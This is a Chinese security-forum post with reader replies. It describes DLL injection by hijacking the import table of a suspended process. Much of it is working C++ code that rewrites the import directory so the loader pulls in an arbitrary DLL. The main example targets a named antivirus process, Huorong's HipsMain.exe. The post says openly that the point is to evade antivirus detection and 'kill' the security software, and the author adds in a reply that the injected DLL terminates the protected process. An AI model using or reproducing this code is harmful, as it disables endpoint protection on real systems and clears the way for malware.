[原创]利用导入表劫持实现DLL注入以干掉杀毒软件-编程技术-看雪安全社区

[原创]利用导入表劫持实现DLL注入以干掉杀毒软件

发表于: 2026-4-9 20:00 11920

[原创]利用导入表劫持实现DLL注入以干掉杀毒软件

TurkeybraNC 活跃值

2026-4-9 20:00

11920

# 利用导入表劫持实现DLL注入以干掉杀毒软件

## 引言

利用安全软件的白名单进程进行敏感操作，是恶意软件的常见特征。在现代安全软件中，常会通过复杂的权限校验严格限制目标进程的权限。但一些安全软件在防止APC注入时只防止通过`OpenProcess`获取进程句柄，或者对通过进程句柄继承的句柄限制不严格，导致产生一些问题。本文介绍一种基于导入表劫持的DLL注入技术，该技术通过修改挂起进程的导入表，使目标进程在启动时自动加载恶意DLL，从而绕过常见的注入检测手段。

## 研究与分析

### 进程注入方式概述

常见的进程注入方式包括：

- **DLL注入**：使用`CreateRemoteThread` + `LoadLibrary`，将DLL路径写入目标进程并创建远程线程。
- **Shellcode注入**：将恶意代码写入目标进程，通过`CreateRemoteThread`或`SetThreadContext`执行。
- **APC注入**：利用异步过程调用队列，在目标线程处于可警告状态时执行代码。
- **Process Hollowing**：创建挂起进程后替换其内存映像。
- **导入表劫持**：修改PE文件的导入表（Import Address Table, IAT），使进程加载时自动引入指定DLL。

其中，APC注入和远程线程注入是安全软件重点监控的对象，通常会检查`OpenProcess`获取的句柄权限以及`CreateRemoteThread`调用。而导入表劫持技术不需要在目标进程中创建远程线程，仅需对挂起进程的内存进行修改，且修改操作可通过继承的进程句柄完成，从而规避某些仅对`OpenProcess`返回的句柄做严格权限检查的安全软件。

### 通过进程句柄继承方式获取句柄

在Windows中，父进程创建子进程时可以设置`bInheritHandles = TRUE`，使得子进程继承父进程的可继承句柄。但本技术的核心在于：**创建挂起进程后，直接使用`CreateProcess`返回的进程句柄（`pi.hProcess`）进行操作**。该句柄拥有足够的权限（`PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_SUSPEND_RESUME`等），因为它是创建者自然获得的。许多安全软件在挂钩`OpenProcess`时只拦截外部进程打开目标进程的行为，而对于通过`CreateProcess`直接获得的句柄（属于进程创建的自然流程）往往不做严格限制，或者因为性能原因忽略了对该句柄的后续操作检查。

此外，通过继承机制，恶意代码可以预先创建一个高权限的子进程，然后让子进程继承某些敏感句柄，进一步绕过基于进程身份的访问检查。

### 检查句柄权限

要验证一个进程句柄是否具备所需的操作权限，可以使用`GetHandleInformation`或`NtQueryObject`。在注入前，代码可以检查`PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD`等权限。本例中的`CreateProcessAndInjectDll`函数直接假定返回的句柄具有足够权限，因为它是合法创建的挂起进程。

```cpp
// 示例：检查句柄是否具有 VM 操作权限
DWORD access = 0;
if (GetHandleInformation(hProcess, &access)) {
    // 实际权限检查需要使用 NtQueryInformationProcess
}
```

### 实践

下面提供的代码实现了通过修改挂起进程的导入表来注入DLL。其核心流程如下：

1. 以`CREATE_SUSPENDED`标志创建目标进程，使其主线程挂起。
2. 在目标进程中查找主模块（EXE）的基址。
3. 读取目标进程的PE头（DOS头、NT头）。
4. 保存原有的导入表信息（如果有）。
5. 计算新的导入表所需内存大小，包括新增的DLL导入描述符、IAT（导入地址表）和DLL名字符串。
6. 在目标进程中找到合适的内存区域（靠近主模块基址，以便于相对寻址），分配新的导入表内存。
7. 构建新的导入表数据，将原有导入表内容保留，并在其前面添加一个新条目指向目标DLL。
8. 将新导入表写入目标进程。
9. 修改目标进程的PE头中的导入表目录项（`IMAGE_DIRECTORY_ENTRY_IMPORT`），指向新导入表。
10. 恢复目标进程的主线程，进程启动时加载器会解析新的导入表，自动加载指定的DLL。

该技术的优点：
- 无需调用`CreateRemoteThread`或`QueueUserAPC`，行为更隐蔽。
- 不依赖`LoadLibrary`的远程执行，只需修改内存和PE头。
- 注入时机在进程初始化阶段，加载器会负责DLL加载，无需额外代码执行。

局限性：
- 目标进程不能有严格的完整性控制或签名验证。
- 需要目标进程的PE头可写（通常挂起状态下可写）。
- 注入的DLL必须与目标进程位数一致（64位/32位）。

## 代码详细解释

下面逐段解释提供的C代码。

### 头文件和宏定义

```
#ifndef _WIN64
#error This implementation requires 64-bit compilation.
#endif
```

确保编译为64位，因为代码中使用了`IMAGE_NT_HEADERS64`等64位结构。

### 辅助函数

```cpp
#define MM_ALLOCATION_GRANULARITY 0x10000

static inline DWORD PadToDword(DWORD dw) {
    return (dw + 3) & ~3u;
}

static inline DWORD PadToDwordPtr(DWORD dw) {
    return (dw + 7) & ~7u;
}
```

- `PadToDword`：将大小对齐到4字节边界（DWORD对齐）。
- `PadToDwordPtr`：对齐到8字节边界（指针大小对齐）。

```cpp
static HRESULT DWordAdd(DWORD a, DWORD b, DWORD* pResult) {
    ULONGLONG ull = (ULONGLONG)a + b;
    if (ull > 0xFFFFFFFF) return E_FAIL;
    *pResult = (DWORD)ull;
    return S_OK;
}

static HRESULT DWordMult(DWORD a, DWORD b, DWORD* pResult) {
    ULONGLONG ull = (ULONGLONG)a * b;
    if (ull > 0xFFFFFFFF) return E_FAIL;
    *pResult = (DWORD)ull;
    return S_OK;
}
```

安全的32位整数加法和乘法，防止溢出。

### 查找目标进程的主模块基址

```cpp
static HMODULE FindMainModuleInProcess(HANDLE hProcess) {
    PBYTE pbLast = 0;
    MEMORY_BASIC_INFORMATION mbi;

while (VirtualQueryEx(hProcess, (PVOID)pbLast, &mbi, sizeof(mbi)) != 0) {
        // 跳过无效区域
        if ((mbi.RegionSize & 0xfff) == 0xfff) break;
        if ((PBYTE)mbi.BaseAddress + mbi.RegionSize < pbLast) break;

if (mbi.State != MEM_COMMIT ||
            (mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) != 0) {
            pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
            continue;
        }

IMAGE_DOS_HEADER idh;
        if (!ReadProcessMemory(hProcess, mbi.BaseAddress, &idh, sizeof(idh), NULL))
            goto next;

if (idh.e_magic != IMAGE_DOS_SIGNATURE)
            goto next;

IMAGE_NT_HEADERS32 inh32;
        if (!ReadProcessMemory(hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
            &inh32, sizeof(inh32), NULL))
            goto next;

if (inh32.Signature != IMAGE_NT_SIGNATURE)
            goto next;

if (inh32.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
            goto next;

IMAGE_NT_HEADERS64 inh64;
        if (!ReadProcessMemory(hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
            &inh64, sizeof(inh64), NULL))
            goto next;

// 如果不是DLL，则认为是主模块（EXE）
        if (!(inh64.FileHeader.Characteristics & IMAGE_FILE_DLL))
            return (HMODULE)mbi.BaseAddress;

next:
        pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
    }
    return NULL;
}
```

该函数通过遍历目标进程的内存区域，寻找符合PE格式且不是DLL的模块，即主可执行文件。它检查DOS签名、NT签名、机器类型（AMD64），并确认不是DLL，返回基址。

### 在目标进程中找到合适的内存区域分配新表

```cpp
static PBYTE FindAndAllocateNearBase(HANDLE hProcess,
    PBYTE pbModule,
    PBYTE pbBase,
    DWORD cbAlloc)
{
    MEMORY_BASIC_INFORMATION mbi;
    PBYTE pbLast = pbBase;

for (;; pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize) {
        ZeroMemory(&mbi, sizeof(mbi));
        if (VirtualQueryEx(hProcess, (PVOID)pbLast, &mbi, sizeof(mbi)) == 0) {
            if (GetLastError() == ERROR_INVALID_PARAMETER) break;
            break;
        }

if ((mbi.RegionSize & 0xfff) == 0xfff) break;
        if (mbi.State != MEM_FREE) continue;

PBYTE pbAddress = (PBYTE)mbi.BaseAddress > pbBase ? (PBYTE)mbi.BaseAddress : pbBase;
        const DWORD_PTR granularity = MM_ALLOCATION_GRANULARITY - 1;
        pbAddress = (PBYTE)(((DWORD_PTR)pbAddress + granularity) & ~granularity);

// 检查分配后地址是否在 2GB 范围内（相对于主模块）
        if ((size_t)(pbAddress + cbAlloc - 1 - pbModule) > 0xFFFFFFFF)
            return NULL;

for (; pbAddress < (PBYTE)mbi.BaseAddress + mbi.RegionSize;
            pbAddress += MM_ALLOCATION_GRANULARITY) {
            PBYTE pbAlloc = (PBYTE)VirtualAllocEx(hProcess, pbAddress, cbAlloc,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_READWRITE);
            if (pbAlloc != NULL)
                return pbAlloc;
        }
    }
    return NULL;
}
```

此函数在目标进程的指定基址（`pbBase`）附近查找空闲内存区域，并以64KB粒度尝试分配。目的是使新分配的导入表地址与主模块基址的偏移量不超过32位有符号范围（2GB），以便在PE头中使用32位RVA。如果分配的内存太远，则加载器可能无法正确解析。

### 核心注入函数

```cpp
BOOL CreateProcessAndInjectDll(
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation,
    LPCSTR lpDllName)
```

参数类似`CreateProcess`，额外增加`lpDllName`指定要注入的DLL路径（ANSI字符串）。

#### 1. 创建挂起进程

```cpp
if (!CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes,
    lpThreadAttributes, bInheritHandles, dwCreationFlags | CREATE_SUSPENDED,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation))
    return FALSE;
```

强制添加`CREATE_SUSPENDED`标志，使主线程挂起，便于修改内存。

#### 2. 获取主模块基址

```cpp
HMODULE hModule = FindMainModuleInProcess(hProcess);
if (hModule == NULL) goto fail;
```

#### 3. 读取PE头并清空绑定导入表

```cpp
// 读取 DOS 头和 NT 头
// ...
// 清除绑定导入表，避免冲突
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
```

绑定导入表会预先计算函数地址，如果存在可能会干扰新添加的导入项，因此清空。

#### 4. 保存原有导入表

```cpp
DWORD oldImportRVA = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD oldImportSize = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (oldImportRVA != 0) {
    // 如果 Size 为 0，则通过遍历描述符计算实际大小
    // 读取原有导入描述符数组到 pOldImportDesc
}
```

保留原有导入表，以便在后面合并时拷贝。

#### 5. 计算新导入表大小

```cpp
DWORD nDlls = 1;  // 注入一个 DLL
// 计算所需总字节数：新导入描述符 + 旧导入描述符 + IAT + DLL名字符串
// obRem = 新描述符大小 (sizeof(IMAGE_IMPORT_DESCRIPTOR) * nDlls)
// obOld = obRem + 旧描述符大小
// obTab = 对齐到8字节
// stSize = IAT大小 (每个DLL需要4个IMAGE_THUNK_DATA64，两个用于INT，两个用于IAT)
// obDll = obTab + stSize
// obStr = obDll
// cbNew = obStr + DLL名字符串长度（对齐后）
```

代码中每个DLL预留了4个`IMAGE_THUNK_DATA64`条目，其中两个用于导入名称表（INT），两个用于导入地址表（IAT）。

#### 6. 在目标进程中分配新导入表内存

```cpp
PBYTE pbBase = (PBYTE)hModule + inh.OptionalHeader.BaseOfCode
    + inh.OptionalHeader.SizeOfCode
    + inh.OptionalHeader.SizeOfInitializedData
    + inh.OptionalHeader.SizeOfUninitializedData;
if ((PBYTE)hModule > pbBase) pbBase = (PBYTE)hModule;

pbNewIid = FindAndAllocateNearBase(hProcess, (PBYTE)hModule, pbBase, cbNew);
```

`pbBase`是一个启发式的起始地址，通常在代码段、数据段之后，试图在靠近主模块的地方分配内存。

#### 7. 构建新导入表数据（本地缓冲区）

```cpp
pbNew = (PBYTE)malloc(cbNew);
ZeroMemory(pbNew, cbNew);
PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)pbNew;

// 拷贝原有导入描述符到数组后面（偏移 nDlls 处）
if (nOldDlls > 0 && pOldImportDesc != NULL) {
    CopyMemory(&piid[nDlls], pOldImportDesc, nOldDlls * sizeof(IMAGE_IMPORT_DESCRIPTOR));
}

DWORD obCur = obTab;
for (DWORD n = 0; n < nDlls; n++) {
    DWORD intOffset = obBase + obCur;
    DWORD iatOffset = obBase + obCur + (2 * sizeof(IMAGE_THUNK_DATA64));

piid[n].OriginalFirstThunk = intOffset;  // INT RVA
    piid[n].FirstThunk = iatOffset;          // IAT RVA
    piid[n].Name = obBase + obStr;           // DLL名字符串 RVA

PIMAGE_THUNK_DATA64 pThunk = (PIMAGE_THUNK_DATA64)(pbNew + obCur);
    pThunk[0].u1.Ordinal = IMAGE_ORDINAL_FLAG64 | 1; // 按序号导入，序号1
    pThunk[1].u1.Ordinal = 0;                        // 结束标志
    pThunk[2].u1.Ordinal = IMAGE_ORDINAL_FLAG64 | 1; // IAT 部分重复
    pThunk[3].u1.Ordinal = 0;

obCur += 4 * sizeof(IMAGE_THUNK_DATA64);

char* pName = (char*)pbNew + obStr;
    strcpy_s(pName, cbNew - obStr, rlpDlls[n]);
    obStr += PadToDword((DWORD)strlen(rlpDlls[n]) + 1);
}
```

这里构造的导入描述符使用了序号导入（`IMAGE_ORDINAL_FLAG64 | 1`），这意味着它要求目标DLL导出序号为1的函数。实际中，为了确保DLL被加载但不一定要调用某个函数，可以改为按名字导入一个存在的函数（如`DllMain`），或者利用延迟加载机制。

#### 8. 将新导入表写入目标进程

```cpp
if (!WriteProcessMemory(hProcess, pbNewIid, pbNew, obStr, NULL)) goto fail;
```

`obStr`是写入的总长度。

#### 9. 修改目标进程的PE头

```cpp
// 修改 NT 头所在内存页为可写
VirtualProtectEx(hProcess, (PBYTE)hModule + idh.e_lfanew, sizeof(inh), PAGE_READWRITE, &dwProtect);

// 更新导入表目录项
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = cbNew;
// 可选：如果 IAT 目录为空，也指向新导入表
if (inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress == 0) {
    inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
    inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = cbNew;
}
inh.OptionalHeader.CheckSum = 0;  // 清零校验和，避免加载失败

WriteProcessMemory(hProcess, (PBYTE)hModule + idh.e_lfanew, &inh, sizeof(inh), NULL);
VirtualProtectEx(hProcess, (PBYTE)hModule + idh.e_lfanew, sizeof(inh), dwProtect, &dwProtect);
```

#### 10. 恢复进程执行

```cpp
if (!(dwCreationFlags & CREATE_SUSPENDED))
    ResumeThread(lpProcessInformation->hThread);
```

由于我们总是添加了`CREATE_SUSPENDED`，所以这里恢复线程。进程开始运行，加载器会解析新的导入表，加载指定的DLL。

### 主函数示例

```cpp
int wmain(int argc, wchar_t* argv[])
{
    LPCWSTR exePath = L"C:\\Program Files\\Huorong\\Sysdiag\\bin\\HipsMain.exe";
    LPCSTR dllPath = "C:\\Users\\lenovo\\a64.dll";

STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    BOOL result = CreateProcessAndInjectDll(
        exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi, dllPath
    );

if (!result) {
        DWORD err = GetLastError();
        return 1;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}
```

该示例启动`C:\Program Files\Huorong\Sysdiag\bin\HipsMain.exe`，向其注入`a64.dll`，然后等待HipsDaemon.exe进程结束。
### 效果
 ![](upload/attach/202604/982720_VFN9UQH9KK9SPAY.webp)
## 绕过安全软件检测的原理

许多安全软件对进程注入的监控点包括：

- **`OpenProcess`**：当进程A尝试打开进程B时，检查权限和调用者信誉。
- **`CreateRemoteThread` / `NtCreateThreadEx`**：检测远程线程创建。
- **`QueueUserAPC`**：检测APC注入。
- **`WriteProcessMemory` + `CreateRemoteThread`** 组合行为。

本技术的特点：

1. **无需调用`OpenProcess`**：使用的句柄直接来自`CreateProcess`，属于进程创建的自然结果。安全软件如果只钩住`OpenProcess`，则无法监控到后续的`WriteProcessMemory`和`VirtualProtectEx`操作（除非也钩住这些函数并检查句柄来源）。
2. **无需创建远程线程**：DLL加载由进程自身的加载器完成，不产生额外的线程创建事件。
3. **修改PE头**：这属于非常规操作，但许多安全软件不会严格检查挂起进程的PE头修改，尤其当句柄是合法继承而来时。

当然，高级安全软件会监控`VirtualAllocEx`、`WriteProcessMemory`、`VirtualProtectEx`以及PE头的完整性。但通过精心选择目标进程（如白名单程序），并在合法上下文中操作，仍可能绕过部分防御。

## 总结

本文展示了一种基于导入表劫持的DLL注入技术，通过创建挂起进程并修改其导入表，实现隐蔽的DLL加载。该技术绕过了依赖`OpenProcess`和远程线程检测的传统安全机制，但也需要目标进程可写且未受严格保护。在实际对抗中，防御方应加强对`WriteProcessMemory`和PE头修改的行为监控，同时检测异常的导入表变化。对于开发者，应避免使用`CREATE_SUSPENDED`启动关键进程，或启用进程完整性验证（如Protected Process Light）。

**源码：附件中的TestOne.zip**   
  
**免责声明**：本文提供的代码仅用于安全研究和教育目的，请勿用于非法活动。

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

#基础知识 #系统内核 #HOOK/注入 #开源分享 #开发技巧 #工具脚本 #其他

上传的附件：

TestOne.zip （5.77kb，110次下载）

收藏・25

点赞・15

打赏

最新回复 (8)
YoungBai 雪币： 1293 活跃值： (1635) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 144 粉丝 2 关注私信	YoungBai 2 楼 666 2026-4-14 09:33 0
wx_Huber Barrientos 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 206 粉丝 1 关注私信	wx_Huber Barrientos 3 楼 666 2026-4-14 10:48 0
幽灵XZ 雪币： 1014 活跃值： (2048) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 60 粉丝 0 关注私信	幽灵XZ 4 楼 ????学习一下！ 2026-4-22 10:30 0
mb_snnfdkrl 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	mb_snnfdkrl 5 楼 666 2026-4-24 16:05 0
凌ice 雪币： 61 活跃值： (605) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	凌ice 6 楼 tql 2026-5-7 13:52 0
ddgod 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	ddgod 7 楼 a64.dll这个文件怎么生成的？有源码吗 2026-5-21 12:26 0
我不想把微信名字取的太长雪币： 0 活跃值： (54) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	我不想把微信名字取的太长 8 楼 a64.dll内容是啥？ 2026-5-26 10:12 0
TurkeybraNC 雪币： 3481 活跃值： (3093) 能力值： ( LV6，RANK：90 ) 在线值：发帖 15 回帖 35 粉丝 43 关注私信	TurkeybraNC 9 楼我不想把微信名字取的太长 a64.dll内容是啥？ a64.dll就是直接打开进程结束相应进程，很简单的一个dll 2026-5-26 19:37 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

TurkeybraNC

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (8)
YoungBai 雪币： 1293 活跃值： (1635) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 144 粉丝 2 关注私信	YoungBai 2 楼 666 2026-4-14 09:33 0
wx_Huber Barrientos 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 206 粉丝 1 关注私信	wx_Huber Barrientos 3 楼 666 2026-4-14 10:48 0
幽灵XZ 雪币： 1014 活跃值： (2048) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 60 粉丝 0 关注私信	幽灵XZ 4 楼 ????学习一下！ 2026-4-22 10:30 0
mb_snnfdkrl 雪币：能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	mb_snnfdkrl 5 楼 666 2026-4-24 16:05 0
凌ice 雪币： 61 活跃值： (605) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 5 粉丝 0 关注私信	凌ice 6 楼 tql 2026-5-7 13:52 0
ddgod 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	ddgod 7 楼 a64.dll这个文件怎么生成的？有源码吗 2026-5-21 12:26 0
我不想把微信名字取的太长雪币： 0 活跃值： (54) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	我不想把微信名字取的太长 8 楼 a64.dll内容是啥？ 2026-5-26 10:12 0
TurkeybraNC 雪币： 3481 活跃值： (3093) 能力值： ( LV6，RANK：90 ) 在线值：发帖 15 回帖 35 粉丝 43 关注私信	TurkeybraNC 9 楼我不想把微信名字取的太长 a64.dll内容是啥？ a64.dll就是直接打开进程结束相应进程，很简单的一个dll 2026-5-26 19:37 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复